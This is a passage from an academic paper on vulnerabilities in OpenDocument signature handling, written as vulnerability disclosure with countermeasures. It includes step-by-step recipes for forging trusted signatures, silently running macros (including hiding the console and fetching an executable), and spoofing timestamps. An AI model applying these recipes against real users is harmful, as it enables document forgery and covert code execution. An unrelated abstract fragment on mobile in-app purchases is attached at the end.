certificate’s public information is sufficient for the attacker.
The other certificate is used for the cryptographic computation
of the signature. For this computation, the attacker uses his
own private key and the entire document is no longer signed,
but only the files contained in the macro folders.

Manipulation Steps.
(1) The attacker creates an ODF document with arbitrary

macro code and digitally signs the macros. The attacker
uses his own private key for this purpose. For exam-
ple, a self-signed certificate / private key combination is
sufficient.

(2) The attacker manipulates the document’s macro signa-
ture file META-INF/macrosignatures.xml as follows:
(a) The attacker duplicates the entire <X509Data> ob-

ject within this signature file.
(b) The attacker exchanges the value of the
<X509Certificate> object within the second
<X509Data> object with a public certificate from an
entity trusted to execute macros �.

During our evaluation, we systematically analyzed the
doubling of the <X509Certificate> object in Step 2.
(e.g., vice versa or tripling), but the only working solu-
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tion was to use the trusted certificate � as the second
<X509Certificate> element.

Impact. Suppose the attacker uses a developer certificate of
the victim’s organization. In this case, the abused certificate
is on the victim’s trusted list and the macro code is executed
without any confirmation once the document is opened. The
execution takes place in the background, so that the victim
does not notice it. There is a variety of ways to execute
malicious code on the user’s computer. For example, many
ODF applications provide a complete Python environment
inside their program folder, which the attacker can use
for malicious code development. One possibility is to
create a Python file via macro code and execute it via
the Python runtime of the office application. The func-
tion ctypes.windll.user32.ShowWindow(ctypes.windll.

kernel32.GetConsoleWindow(), 0) prevents the victim
from seeing a console window. The malicious code can
thus be executed entirely in the background. By offloading
the execution to Python, it is not interrupted even when
the document is closed. We provide a PoC of harmless
ransomware that hashes all files instead of encrypting and
deleting them. Delegating the execution to PowerShell
commands is also possible, but scripts are restricted by
default on Windows client systems [55]. In addition to
the malicious code contained directly in the document, it
can also be outsourced and downloaded from the Internet.
We identified an interesting behaviour in the execution of
downloaded executable *.exe files under Windows systems.
For security reasons, the download and execution of *.exe
files via a browser require additional permissions and user
interaction. However, if an *.exe file is downloaded and
executed via the macro code, it will be executed directly. For
this purpose, we also provide a PoC ODF file that reloads a
harmless *.exe file from the Internet and is executed via the
macro code when the manipulated ODF file is opened.

5.2 Content Manipulation

The second desired goal of the attacker is the content ma-
nipulation. The following three attacks manipulate a signed
ODF document so that it displays arbitrary attacker-selected
content while forging the document’s signature of a trusted
entity on the victim’s machine.

5.2.1 Content Manipulation with Certificate Doubling

 Manipulation Goal. The attacker can use the Content
Manipulation with Certificate Doubling attack for spoofing
the content of a signed ODF document. When the victim
opens the document, the result of the signature verification is
valid and the document seems to be signed by a trusted entity.

Attack Requirements. The attacker only requires the public
X.509 certificate of a trusted entity on the victim’s machine

�. The attacker does not require a signed and trusted ODF
document.

Manipulation Technique. First, the attacker manipulates a
self-signed ODF document so that it contains two certificates.
The manipulation steps roughly correspond to those of the
Macro Manipulation with Certificate Doubling attack.

Manipulation Steps.
(1) The attacker creates an ODF document with arbitrary

selected content. The attacker digitally signes the doc-
ument using the own private key. For example, a self-
signed certificate / private key combination is sufficient.

(2) The attacker manipulates the document’s signature file
META-INF/documentsignatures.xml as follows:
(a) The attacker duplicates the entire <X509Data> ob-

ject within the signature file.
(b) The attacker exchanges the value of the
<X509Certificate> object in the second
<X509Data> object with a public certificate
from a person trusted by the victim �.

The document generation is comparable to Macro Ma-
nipulation with Certificate Doubling but with two main dif-
ferences. In Step 1, the attacker signs the entire document
content. In Step 2, the attacker manipulates the document sig-
nature data file (META-INF/documentsignatures.xml) instead
of the macro signature file (META-INF/macrosignatures.xml).

Impact. When the victim opens the attacker’s manipulated
ODF document, the office application represents the infor-
mation of the second certificate as the signing entity �. The
victim can manually investigate all certificate data of the sup-
posed signer and the office application successfully verifies
the certificate’s trustworthiness. However, during the signa-
ture verification, the office application uses the public key of
the first <X509Data> element (i.e., the attacker’s certificate),
while the trustworthiness of the signer is determined using the
second <X509Data> (i.e., the certificate of the trusted entity)
element.

5.2.2 Content Manipulation with Certificate Validation
Bypass

Manipulation Goal. The goal of the Content Manipulation
with Certificate Validation Bypass attack is to create a valid
signed and trusted ODF document with arbitrary content. The
owner and issuer data contained in the certificate, which is
displayed to the victim, can be chosen arbitrarily.

No Attack Requirement. There are no further requirements
for this attack, because the attacker creates and signs a docu-
ment with his own private key. The attacker requires neither a
signed or trusted ODF document nor the public X.509 certifi-
cate of a trusted entity on the victim’s machine.

Manipulation Technique. To verify the trustworthiness of
a signature in ODF documents, it is crucial that the system
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trusts the signer’s certificate. Normally, the Windows Certifi-
cate Store or the Mozilla Certificate Store for macOS and
Linux are used for this purpose. The Content Manipulation
with Certificate Validation Bypass attack aims to disrupt the
verification of this trust verification and thus force a victim’s
office application to classify arbitrary certificates as trusted.
We focused on manipulating the X.509 certificate stored as
an ASN.1 blob. We studied the fields in this blob which are
responsible for the certificate verification and created multi-
ple attack vectors covering public key injection, algorithm
manipulation, and signature exclusion. Only the algorithm
manipulation was successful and will be described further.

Manipulation Steps.
(1) The attacker creates an ODF document with arbitrary

content and signs it using his own private key.
(2) The attacker manipulates the signature file

META-INF/documentsignatures.xml in the signed
document as follows:
(a) The attacker manipulates his own X.509 certificate

by setting the therein defined signature algorithm to
an invalid value. That algorithm is defined with an
Object Identify (OID). For example, he can cut off
the trailing bytes of the OID 1.2.840.113549.1.1.11

(sha256WithRSAEncryption) and set the OID value to
1.2 (member-body). For this purpose, an ASN.1 Editor
can be used.1 This truncation breaks the ODF applica-
tion’s internal certificate validation, turning a formerly
untrusted signer into a trusted signer.

(b) The attacker exchanges the value of the
<X509Certificate> object with the manipu-
lated certificate from the previous step.

Impact. If the victim opens the manipulated ODF document,
the signature is recognized as valid because the private key
used for signing the ODF document matches the public key of
the certificate it contains. The manipulation of the certificate
simultaneously disrupts the verification of the chain of trust,
so that the signer is treated as trusted. The attacker can also
manipulate further parameters in his own certificate (Step
2a), such as its subject or issuer. By this means, the attacker
can impersonate an arbitrary entity. Only the public key must
remain unchanged to prevent influencing the cryptographic
signature verification.

5.2.3 Content Manipulation with Signature Upgrade

 Manipulation Goal. The Content Manipulation with Sig-
nature Upgrade attack manipulates an ODF document with
a macro signature in such a way that the ODF application
treats that signature as a document signature. In this way,
the attacker can arbitrarily set the content of the ODF docu-
ment while the application shows a valid document signature.
The attack abuses the partial signature coverage of the files

1www.codeproject.com/Articles/4910/ASN-1-Editor

contained in the ODF document when only the macros are
signed.
Attack Requirement. The attacker needs an ODF document
with validly signed macros .
Manipulation Technique. ODF applications use two types
of digital signatures. The first type is document signatures, the
second type is macro signatures. From a technical perspective,
the only difference between these two types is the file name
(documentsignatures.xml vs macrosignatures.xml) and the
selection of the files in the ODF package which are included
in the signature calculation with their hash values. While
document signatures include all contained documents (for
exceptions, see Section 2), macro signatures only include
the files within the macro directory. Despite their otherwise
identical implementation, the two signature variants, thus,
differ significantly in the content to be protected.

The attacker can use this macro signature together with the
included macros to create ODF documents with arbitrary con-
tent and display the included macro signature as the document
signature.
Manipulation Steps.
(1) The attacker creates an unsigned ODF document with

arbitrary content.
(2) From the macro signed ODF document

, the attacker extracts the signature file
META-INF/macrosignatures.xml, as well as the en-
tire macro directory (i.e., Basic or Scripts).

(3) The attacker renames the macrosignatures.xml to
documentsignatures.xml and inserts it together with the
macro directory into the ODF document of Step 1.

Impact. We assume that the victim trusts the certificate of
the original signer of the macro. In that case, the ODF appli-
cation recognizes the signature contained in the manipulated
document as a valid and trusted document signature, even if
the signature does not protect the actual visible content of
content.xml in any way. Since macros are typically treated
as dangerous, companies could sign specific macros that are
necessary for their business cases (e.g., fill templates, process-
ing of large tables or specific calculations in spreadsheets).
An attacker who has access to that file can upgrade the macro
signature to forge arbitrary signed content (e.g., agreements
or contracts).

5.3 Timestamp Manipulation with Signature
Wrapping

 Manipulation Goal. The attacker’s goal is to change the
timestamp of an ODF signature without invalidating it. This
change allows the attacker, for example, to forge the creation
time of a particular contract, which could lead to legal conse-
quences.

Initially, our goal was to manipulate the entire content of
the document. Our analysis showed that we cannot manipulate
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any external files such as manifest.xml or content.xml due
to the limitations which we described in Section 4.

Attack Requirement. The attacker needs an ODF document
with a valid and trusted document signature .

Manipulation Technique. The certificate’s data in the
<X509Data> element and the <Object> element play a
unique role in the representation of signature information
within the ODF application. For instance, the <Object> el-
ement holds the timestamp of the signature creation time,
which is displayed alongside the signer’s data. By using XSW
attacks, we can forge timestamps.

Manipulation Steps.
(1) The attacker manipulated the signature file

META-INF/documentsignatures.xml as follows:
(2) The attacker duplicates the entire <Object> element

within the signature file.
(3) The attacker changes the ID attribute of the

<SignedProperties> element within the sec-
ond <Object> element. For example, the attacker
increases the value by 1.

(4) The attacker selects an arbitrary time and sets the times-
tamp in the second <Object> element to that value.
 In the case of a regular ODF signature, the attacker

manipulates the timestamp hold in the <dc:date
xmlns:dc="http://purl.org/dc/elements/1.1/">
element.

 In the case of a XAdES signature [29], the at-
tacker manipulates the timestamp hold in the
<xd:SigningTime xmlns:xd="http://uri.etsi ⌋

.org/01903/v1.3.2#"> element.

Impact. If the victim trusts the signer’s certificate, a valid and
trusted signature will be displayed when opening the manipu-
lated ODF document. However, the manipulated timestamp
with the modified ID is used to display the signing time.

6 DocSV: A Novel Evaluation Technique of Of-
fice Documents

Verifying an ODF macro signature attack is straightforward.
If the victim’s machine executes the malicious macro, the
code execution itself can be used to inform the attacker about
the attack’s success. For document signatures, the automatic
verification of document signatures is challenging since there
is no feedback telling the attacker whether the attack was suc-
cessful. During the research, we created 132 ODF documents
with different attack vectors. The evaluation effort of the re-
sulting documents is multiplied by the number of analyzed
applications (in this paper: 18). Thus, an automation is neces-
sary to make the evaluation results effective and independent
of the number of applications to be tested.

In general, there are two approaches used for the validation:
the creation and comparison of screenshots or the use of OCR

text recognition. A screenshot comparison is only possible
when a ground truth image exists. This limitation leads to
two adverse side effects: the configuration overhead increases
and the comparison is applicable only on documents with the
same content. In addition, the comparison reacts sensitively
to changes in the document to be analyzed, for example, pop-
ups. Kuchta et al. [46] located inconsistencies in PDF readers
and Rohlmann et al. [74] implemented a tool called PDF
Tester,2 which can automatically evaluate attacks on PDF
signatures. However, screenshot comparison is slow and re-
quires a ground truth image. Another approach is using OCR
text recognition. Besides being slower than the screenshot-
approach, OCR cannot entirely exclude misinterpretations
of the texts [14]. Thus, both variants do not provide optimal
evaluation results.

6.1 Memory-based Evaluation of Documents

In this section, we present a new tool called DocSV, which
is faster, more reliable than existing analyzing techniques,
vendor-independent, and compatible with the primarily used
document formats – ODF, OOXML, and PDF. The basic idea
behind DocSV is the following: Whenever a document sig-
nature validation succeeds or fails, the document processing
application must generate a string to display this result to
the user (Figure 4). DocSV searches the process memory for
these (known) strings, and deduces the result of the signature
validation from the string found.

We defined the following requirements for DocSV:
(1) The analysis should require less configuration overhead

and fewer resources than previous techniques.
(2) The approach should allow the easy inclusion of new

office applications.
(3) The analysis should be independent of the document’s

content.

Design Decisions. DocSV should be as generically compati-
ble as possible with all standard office file formats and cor-
responding applications. Even though some vendors, such
as Apache OpenOffice or LibreOffice, allow control through
APIs, this does not apply to many other vendors. Thus, the
use of vendor-specific interfaces would not have been appro-
priate and would violate our requirements. To circumvent
the disadvantages of optical processing of screenshots and to
remain application-independent (i.e., avoid vendor-specific
APIs [3, 79]), we decided to rely on the analysis of the pro-
cess memory of the individual applications. For this purpose,
DocSV is written in C++ and capable of accessing the applica-
tion memory. Using the memory-based analysis, we achieved
reliable and reproducible results explained further in Sec-
tion 6.2. In addition to ODF applications, we were able to
successfully test the correct functionality for OOXML ap-
plications such as Microsoft Office and PDF applications,

2https://github.com/RUB-NDS/PDF-Tester
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(a) The DocSV analysis tool automatically opens documents in vari-
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the signature status of the document by analyzing the application
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(b) DocSV consists of four main modules: Evaluation Manager, App
Launcher, Sub-Process Collector, and Process Memory Finder. The
modules are used to classify whether the signature validation in a
document is successful and to generate a report with these results.

Figure 5: The idea behind DocSV is to analyze the office application’s process memory to determine whether the signature
validation of documents (ODF, OOXML, and PDF) is correct or not.

including Adobe Acrobat and Foxit PDF Reader. DocSV con-
sists of four modules: Evaluation Manager, App Launcher,
Sub-Process Collector, and Process Memory Finder, see Fig-
ure 5b.

Evaluation Manager. On its startup, DocSV receives a con-
figuration file. It contains, among other information, the office
application, a folder containing all documents that it should
analyze, and a list of predefined strings with possible states
of the signature validation. The Evaluation Manager is re-
sponsible for starting the analysis process for each configured
application by calling the App Launcher. For documentation
purposes, this module takes a screenshot before closing the
office applications and stores it on the system together with a
CSV file documenting the entire analysis process.

App Launcher. The App Launcher receives the path of the
application that it should start. It automatically launches the
office application and opens the documents in the document
directory one by one. During our evaluation, we determined
that the App Launcher should proceed only when the appli-
cation is fully loaded. Since the operating system does not
provide any reliable APIs to detect this, DocSV waits a time
specified in the configuration file before starting the process
memory analysis. This time can be determined depending
on the applications to be analyzed. Usually, 2-6 seconds is
sufficient. We established this value based on our empirical
observations regarding the loading time of different office
applications.

Sub-Process Collector. Depending on the application, the of-
fice application can start further sub-processes. For instance,
Adobe Reader creates a sub-process for each opened doc-
ument. Thus, DocSV first determines and collects all sub-
processes and includes these in the analysis based on the
primary process.

Process Memory Finder. All processes belonging to one ap-

plication are analyzed for the presence of the defined signature
status strings (see Figure 4). In case of a hit, the analysis is ter-
minated. The selection of the appropriate character encoding
plays a major role for the successful analysis. For example, in
Apache OpenOffice and LibreOffice the signature states are
encoded in UTF-16, while Adobe Acrobat uses UTF-8. The
encoding can be selected in advance in the configuration file.
This configuration is made for each application separately.

6.2 Advantages and Disadvantages
In this section, we provide a comparison to the other two
evaluation approaches based on screenshots and OCR. We
show that the memory-based analysis is the most sufficient
technique for the analysis of office documents since the con-
figuration overhead is minimal, the recognition rate is high,
and resource consumption is less than other approaches.
Test Environment. We first created a pool with 60 PDF doc-
uments separated in three categories each containing 20 un-
signed documents, 20 validly signed documents, and 20 ma-
nipulated documents. Thus, we can determine the detection
rate of the different techniques. We executed the tests on a
PC with Intel Core i7-8565U CPU, 40GB RAM, and Win-
dows 10. We installed PDF Tester. PDF Tester supports three
comparison modes: (1) PDF Tester Comparer uses a pixel-
based screenshot comparison; (2) PDF Tester OCR applies
OCR-based text recognition; (3) PDF Tester OCR improved
optimizes the screenshot before analysis. Additionally, we
considered the screenshot analysis introduced by Kuchta et al.
[46] which relies on the Complex-wavelet structural similarity
index (CW-SSIM) algorithm. This algorithm compares dif-
ferences in the images that are perceptible to the human eye.
Please note that only the source code of PDF Tester is pub-
licly available. Thus, we used it to open the documents and
create the screenshots which we also used for the CW-SSIM
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evaluation.

Direct Comparison. Table 4 depicts a direct comparison
between the resource consumption of all three evaluation
techniques. DocSV is the fastest analyzing tool in our evalua-
tion. The slowest methods are the OCR-based analysis and
the CW-SSIM since the images are transformed first and then
compared (OCR-based) or multiple measurements on small
image pieces and computations of the corresponding Struc-
tural Similarity Indices (SSIM) are executed (CW-SSIM). The
detection rate of screenshot-based analysis and DocSV is high.
The OCR comparison is less correct with 33.3% success rate
in the normal mode. Even the improved OCR recognition is
in 16.7% incorrect and falsely classify the validation status.

Content-independent Analysis. The memory-based ap-
proach requires only a configuration of the status messages
regarding the signature validation. This configuration is made
once per office application and can afterwards analyze docu-
ments with arbitrary content. In comparison, the screenshot-
based analysis requires the configuration of one valid docu-
ment as a ground truth. This ground truth, however, bases on
the specific document content. The OCR-based evaluation
produces similar results than the memory-based approach and
requires the same configuration overhead.

Tool Detect-
ion

Adobe
Acrobat

Foxit
Reader

Libre
Office

Total

PDF Tester
Comparer

Time 2:04 2:04 2:04 6:12
Rate 100% 100% 100% 100%

CW-SSIM Time 10:20 10:16 10:12 30:48
Rate 95% 100% 100% 98,3%

PDF Tester
OCR

Time 2:07 1:52 2:24 6:23
Rate 50% 0% 50% 33,3%

PDF Tester
OCR improved

Time 8:02 7:37 8:43 24:22
Rate 100% 100% 50% 83,3%

DocSV Time 1:18 1:02 1:06 3:26
Rate 100% 100% 100% 100%

Table 4: The results of the comparison between screenshot-
based analysis, OCR evaluation, and memory-based analy-
sis shows that DocSV is the most efficient tool which also
provides a high detection rate. Time values are provided in
minutes and seconds.

Limitations of DocSV. The configuration of strings as recog-
nition markup for the validation results could lead to false
results if the same string occurs in the document’s content.
For our test documents, we control the content and made
sure that none of the validation strings were present. During
our evaluation, we discovered another problem that occurs if
the application provides multiple predefined signature status
strings in the process memory. This is the case, for example,
with Foxit PDF Reader where both strings for valid and invalid
signatures are contained in the memory dump. However, we

observed that, the signature status “Signature is valid” occurs
twice in an actually valid signed document, while it appears
only once in an invalid or unsigned document. As a result,
for these type of applications we defined a minimum num-
ber of found signature status strings in the configuration file.
For the other applications, this adjustment was not necessary,
since the predefined signature status strings differed from the
actually displayed signature state based on their encoding
(UTF-16 vs. UTF-8).

7 Evaluation

In this section, we describe which office applications are vul-
nerable to which of our five attacks. We discuss the used test
environment and the specifics of individual office applications
in connection with the attacks. The results in Table 5 show that
17 out of 18 office applications are vulnerable to at least one
attack. Only for Digital Signature Service (DSS) developed
by Nowina Solutions, we could not detect any vulnerability.

Test Environment. We use three different system landscapes
to represent a test situation that is as close as possible to real-
world use cases. The attacker system consists of a Windows
10 virtual machine (VM). It contains a combination of the
private key and self-signed public certificate of the attacker,
and the public certificate of a entity classified as trusted by the
victim. The second system is the signing system, consisting of
a Windows 10 VM with the private key and public certificate
of the trusted entity. The third system depicts the victim’s
landscape and it spans VMs with Windows 10 and Ubuntu
20.04.3 LTS, as well as physical systems in the form of ma-
cOS Catalina, Android 10, and iOS 15. All systems trust the
public certificate of the signer system, but not the attacker’s
certificate.

Tested Applications. We used the references [13, 37, 70, 90,
91] as a basis for the selection of office applications to be
evaluated. In the first step we checked the applications for
general ODF support. In the next step, we analyzed whether
the applications processed the included and unmanipulated
ODF signatures. All applications that met these requirements
and whose development had not already been discontinued
were included in the evaluation (see Table 5). IBM Lotus Sym-
phony development was discontinued in 2012 and features
were merged with Apache OpenOffice [2, 10]. We included
Lotus Symphony in the evaluation to demonstrate how long
some of the vulnerabilities have been present in the code and
are still detectable in today’s office applications. AndrOpen
Office in version 4.8.7, is excluded from the evaluation since
it does not show an included signature for any of our unma-
nipulated test documents. The online variant of Collabora in
version 6.4.11 could not perform correct signature validation
for any of our unmanipulated signed test documents. Any
signatures included were always detected as invalid. Thereby,
we used an older variant in version 6.0-18, in which this bug
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Attacks on OpenDocument Signature
Application Version OS Macro

Manipulation
with Certificate

Doubling

Content
Manipulation

with Certificate
Doubling

Content
Manipulation

with Certificate
Validation Bypass

Content
Manipulation
with Signature

Upgrade

Timestamp
Manipulation
with Signature

Wrapping
Section 5.1 Section 5.2.1 Section 5.2.2 Section 5.2.3 Section 5.3

Apache OpenOffice 4.1.8

W
in

do
w

s ○ ○ ○ ○␣ ○
Collabora Office 6.2-20210530 ○ ○ ○ ○␣ ○
IBM Lotus Symphony 3.0.1 fp2 ○ ○ ○␣ ○␣ ○
LibreOffice 7.0.4.2 ○ ○ ○ ○␣ ○
Microsoft Office 2019 16.0.10374.20040 ○ ○␣ ○␣ ○ ○␣

Apache OpenOffice 4.1.8

m
ac

O
S ○ ○ ○␣ ○␣ ○

Collabora Office 6.2-20210530 ○ ○ ○␣ ○␣ ○
LibreOffice 7.0.4.2 ○ ○ ○␣ ○␣ ○
NeoOffice 2017.27 ○ ○ ○␣ ○␣ ○

Apache OpenOffice 4.1.8
L

in
ux

○ ○ ○␣ ○␣ ○
Collabora Office 6.2-20210530 ○ ○ ○␣ ○␣ ○
IBM Lotus Symphony 3.0.1 fp2 ○ ○ ○␣ ○␣ ○
LibreOffice 7.0.4.2 ○ ○ ○␣ ○␣ ○

Collabora Office 6.4.11-2

iO
S ○ ○1 ○␣ ○␣ ○1

AO Office 4.1.6 ○ ○ ○␣ ○␣ ○

Collabora Office 6.4.3 Android ○ ○1 ○␣ ○␣ ○1

Collabora Online (CODE) 6.0-18 Online ○ ○1 ○␣ ○␣ ○1

Digital Signature Service 5.9 ○ ○␣ ○␣ ○␣ ○␣

∑ Applications that are vulnerable ○, max 18 12 16 3 1 16

○ Vulnerable: Application is vulnerable to this attack. 1No certificates view available, but valid signature and valid certificate verification is displayed.
○␣ Secure: Application is not vulnerable to this attack.
○ Non-verifiable: Attack cannot be tested with this application.

Table 5: Evaluation results. We could identify macro execution in all applications supporting macros (i.e., in 12 of 18). In all
cases except the Digital Signature Service, we could spoof signed content (i.e., in 17 of 18).

does not exist.

Certificate Doubling Attacks. Macros and Content Manip-
ulation with Certificate Doubling attacks are based on the
fundamental problem of incorrectly processing the XML sig-
natures. However, both attacks have entirely different manip-
ulation goals: in the first variant, arbitrary malicious code is
supposed to be executed on the victim’s system, and in the
second variant, the victim is supposed to be fooled into think-
ing that a document is signed by a trusted entity. We show that
12 out of 18 applications are vulnerable for the first variant,
and 16 out of 18 applications are vulnerable for the second
variant. We could, thus, execute arbitrary macro code in all
ODF applications that can generally process macro code in
ODF documents. Our PoC examples show that the attacker
could cause significant damage (e.g., compromise all user
files) by exploiting this vulnerability. For the content manipu-
lation variant, the Collabora iOS, Android, and online variants
show correct signature validation and certificate verification
for the attacker-manipulated ODF documents. Still, they do
not provide a feature to view more detailed information about
the signer. Microsoft Office and DSS specified the attacker’s
certificate as the creator of the signature and are, thus, not
vulnerable to this attack.

Content Manipulation with Certificate Validation Bypass.
Only the Windows versions of Apache OpenOffice, Collabora

Office and LibreOffice are vulnerable to the attack. 15 of the
18 applications classify the signature as invalid due to the
manipulated certificate of the signer.

Content Manipulation with Signature Upgrade. This prob-
lem of partial signatures, which is the root cause for this attack,
has been recognized in the ODF specifications 1.2 and 1.3.
These specifications require that a document signature is al-
ways created over all files within the ODF package [67, Part
1, p. 99] [68, Part 3, p. 98] (for exceptions, see Section 2).
Following this recommendation, 17 out of 18 applications
comply and evaluate the macro signature disguised as a docu-
ment signature as invalid. Only Microsoft Office accepts this
type of signature and is vulnerable.

Timestamp Manipulation with Signature Wrapping. We
identify 16 of 18 applications as vulnerable to the Times-
tamp Manipulation with Signature Wrapping attack. Only
Mircosoft Office and DSS are secure. Surprisingly, there is
not even a logical check of the timestamp for the 16 applica-
tions. This missing check allows the attacker to form arbitrary
date such as 66/66/6666.

8 Countermeasures

This section discusses mitigations for our attacks. We catego-
rized them by their manipulation techniques.
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Manipulation Technique: Certificate Doubling. Both Cer-
tificate Double attack techniques have the same root cause.
They abuse a logical inconsistency during the validation of
the signature. This validation consists of two steps.
(1) The signature must be cryptographically verified. For

example, in RSA signatures, the signature’s hash and its
RSA value are verified.

(2) The origin of the used key material must be verified. In
the case of an XML signature, this typically means to
ascertain the trustworthiness of the X.509 certificate.

A Certificate Doubling attack abuses a binding between these
two steps. It provides two X.509 certificates within the XML
signature. One certificate is trusted (Step 2) but fails during
the cryptographic verification (Step 1). The other provides the
opposite. In the case of LibreOffice, the inconsistency lies in
the XSecParser class of the xmlsecurity module [87]. The
signature validation extracts two certificates but uses them for
different purposes (cf. Step 1 and Step 2). A mitigation for
the attack is to enforce the passing of each certificate to both
validation steps. Only if one certificate passes both steps, the
signature can be handled as valid. Another proper way would
be to execute the validation steps subsequently but remove a
certificate in the event of the XML signature document object
not passing a step. If this process leaves no certificates, the
signature must be handled as invalid.

Manipulation Technique: Certificate Validation Bypass.
The Certificate Validation Bypass technique abuses unspeci-
fied input value during the certificate validation process. The
root cause for the attack is that certificates are initially consid-
ered valid. In case that the certificate trust verification returns
invalid (Step 2), the initial value changes. If the application
cannot finish Step 2 of the verification, the signature validity
status remains valid. The attack causes this interruption by
using an unspecified input at a specific place in the X.509
certificate. The effective mitigation (e.g., implemented by
LibreOffice and OpenOffice) is to set the default validity of
each certificate to invalid during the startup so that disruption
during its processing does not result in trusted certificates.

Manipulation Technique: Signature Upgrade. The Signa-
ture Upgrade technique can be traced back to an incomplete
implementation of the ODF specifications. These specifica-
tions requires that for document signatures all files of the ODF
package are included in the signature calculation [68, Part 3,
p. 98] [67, Part 1, p. 99] (exceptions see: Section 2). Thus,
an effective countermeasure is to treat partial signatures as
invalid in general.

Self-signed Certificates. Four attacks use the attacker’s self-
signed certificates. However, deprecating self-signed certifi-
cates in the ODF specification would not be a useful coun-
termeasure. For the attacks, the attacker could also use cer-
tificates issued by a trusted certificate authority (CA) and
perform the attacks in the same way.

Manipulation Technique: XSW. A reliable method to pre-

vent XSW is to apply the see-what-is-signed approach [76]:
the signature validation removes all parts of the ODF doc-
ument that are not part of the signature computation. With
respect to the Timestamp Manipulation with Signature Wrap-
ping attack, all unsigned timestamps will be ignored and mak-
ing the spoofing impossible. This protection applies to both
ODF signature variants – XAdES and non-XAdES signatures.
The mitigation would also prevent additional XSW variants
that could possibly be applied to other parts, for example, the
content.

9 Related Work

Security of Office Documents. In the years 2006 to 2009,
different researchers [21, 31, 32, 47, 72] analyzed the security
of OpenOffice.org respectively OOXML and proposed dif-
ferent attack and obfuscation techniques to stealthy execute
malicious code. The authors highlighted security issues in the
design of OpenOffice.org version 2.x to 3.x. The analyses also
identified problems with digital signatures, which have been
addressed in recent ODF standards. Our work, in contrast, is
the first to analyze ODF signatures systematically, focusing
on the latest standard. Malware in the context of VBA macros
has been discussed by various researchers [22, 36, 48, 92].
Their focus lied in convincing the victims to allow macro
execution. Another attack technique is called VBA stomp-
ing which abuses the so-called performance code in VBA
macros [16, 18, 69, 75]. This attack cannot be adapted to ODF
since it does not use precompiled code. In 2020 Müller et al.
[62] presented a systematic analysis of ODF and OOXML
documents. They investigated, inter alia, macro attacks but
did not consider signatures.

Attacks on PDF Documents. In 2019, Mladenov et al. [59]
presented attacks on digitally signed PDF documents. They
targeted a similar attack goal (content spoofing). On an ab-
stract level, they used comparable techniques (signature wrap-
ping, universal forgery) for two of their attacks. However, they
did not consider code execution attacks and concentrated on
the PDF file format. In 2021, Mainka et al. [51] presented
shadow attacks on PDF that are not applicable to ODF docu-
ments (cf. Section 4.2). In 2021, Rohlmann et al. [74] abuses
PDF annotations for attacking PDF signatures. Annotation-
based attacks on ODF are not applicable because ODF anno-
tations are stored in content.xml which is protected by the
signature. Various research groups conducted content mask-
ing attacks based on polyglots [1, 17, 73]. These attacks are
not applicable on ODF documents due to its compression into
a zip archive and the strict internal structure of the document
containing different files.

XML-based Attacks. In 2002, Klein [45] and Steuck [78]
used for the first time XML features to carry out efficient
Denial-of-Service attacks. In the following years, additional
malicious features have been systematically evaluated and
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further vulnerabilities were discovered [43, 61, 77]. We used
their attack vectors and adapted the attacks on ODF doc-
uments. The first XSW attacks were published by McIn-
tosh and Austel [54] in 2005. In the following years, sev-
eral other XSW attacks and countermeasures were presented
[39, 41, 60, 76, 89]. In 2019, Munoz and Mirosh [64] demon-
strated a key confusion attack on SAML which is comparable
to our Certificate Doubling attacks. The difference is that a
symmetric key, instead of a trusted certificate, is added to the
<KeyInfo> element to bypass the signature validation.

10 Discussion and Future Work

Future Research Directions. ODF is only one format in
the family of XML-based file formats. When considering
the transferablity of XML-based attacks to these formats,
future research in various file formats is imaginable. There
are further XML-based document formats, for example, the
Open Packaging Conventions (OPC) family, which includes –
inter alia – OOXML, 3D Manufacturing Format (3mf), and
Autodesk AutoCAD Design Web Format (DWFX). Although
these formats similarly support digital signatures, and thus
directly relate to our research, further attacks, for example,
ACE [36, 48, 63], should also be considered.

Proprietary Features. We identified proprietary features to
be a desired source of attacks, as shown by the partial docu-
ment signatures feature that lead to the Content Manipulation
with Signature Upgrade attack. We were not the first to come
to this conclusion, as the discoveries in recent years show. For
example, the performance code feature in Microsoft Office led
to the VBA stomping attack [16, 18, 69, 75]. Such proprietary
features are not well documented. They require a thorough
analysis of each implementation. A generic approach to deal
with them is missing.

Memory-based Attack Verification. By using DocSV, the
attack’s success can be automatically evaluated on GUI appli-
cations, such as Microsoft Office (OOXML) or AutoCAD. In
its current state, we only use DocSV to analyze the signature
verification result, but other attacks could extend its scope.
For example, it could be used to detect inconsistencies in the
presentation of the document, but the evaluation of content
masking [53] and polyglot [1, 17, 73] attacks would greatly
benefit from this approach.

11 Conclusion

In this paper, we conducted the first comprehensive analysis
of digital signatures in ODF documents. We described five
attacks, three of which forged content and one of which forged
the signature timestamp. Another attack even led to code
execution on the victim’s computer system. Using a novel
memory-based evaluation approach for documents named

DocSV, we showed that 17 out of 18 ODF applications were
vulnerable.

Attacks’ Root Causes. The discovered issues that our at-
tacks abuse raise from an imprecise or incomplete description
in the ODF standard and its subsequent standards. For ex-
ample, the ODF signatures rely on using XML signatures.
These can have multiple certificates, but the ODF standard
does not describe what an implementation should do in such
cases, which lead to Macro Manipulation with Certificate
Doubling and Content Manipulation with Certificate Dou-
bling attacks. Another example is the incomplete description
of naming signature files in the ODF package. The renam-
ing of macrosignates.xml to documentsignatures.xml was
the foundation for the Content Manipulation with Signature
Upgrade attack. These gaps leave developers on their own to
properly address such cases, although all malicious documents
presented in this paper remain compliant to the ODF/XML
standards.

Lessons Learned. Document signatures and macro signatures
are hard to implement flawlessly. To the best of our knowl-
edge, we can find one reason in the inappropriate handling
of partial signatures. Compared to classical file signatures,
where the signature protects every byte, documents are more
flexible. Particularly in the case of ODF, document and macro
signatures leave unprotected gaps in the ODF package. The
gaps in combination with imprecise or incomplete descrip-
tions in the standards open the potential for severe threats,
as shown in this paper. For countering these threats, future
standards should be more precise. In addition, we see the
demand for automatic attack evaluation in the field of doc-
ument security. DocSV could serve as a foundation for this
automation.
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12 Appendix

12.1 Macro Example

1 Sub Macro1
2 MsgBox("Hello world!")
3 End Sub

Listing 1: Basic code displaying a message box.

1 <script:event-listener script:language="ooo:script"
2 script:event-name="dom:load" xlink:type="simple"
3 xlink:href="vnd.sun.star.script:Standard.Module1 ⌋

.Macro1?language=Basic&amp;location=document"↪→
4 />

Listing 2: Once the document is opened (dom:load), "Macro1"
is triggered via the xlink:href in the file content.xml (see
Listing 1).
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Abstract
Modern mobile games often contain in-app purchasing

(IAP) for players to purchase digital items such as virtual cur-

rency, equipment, or extra moves. In theory, IAP should have

been implemented securely; but in practice, we have found

that many game developers have failed to do so, particularly

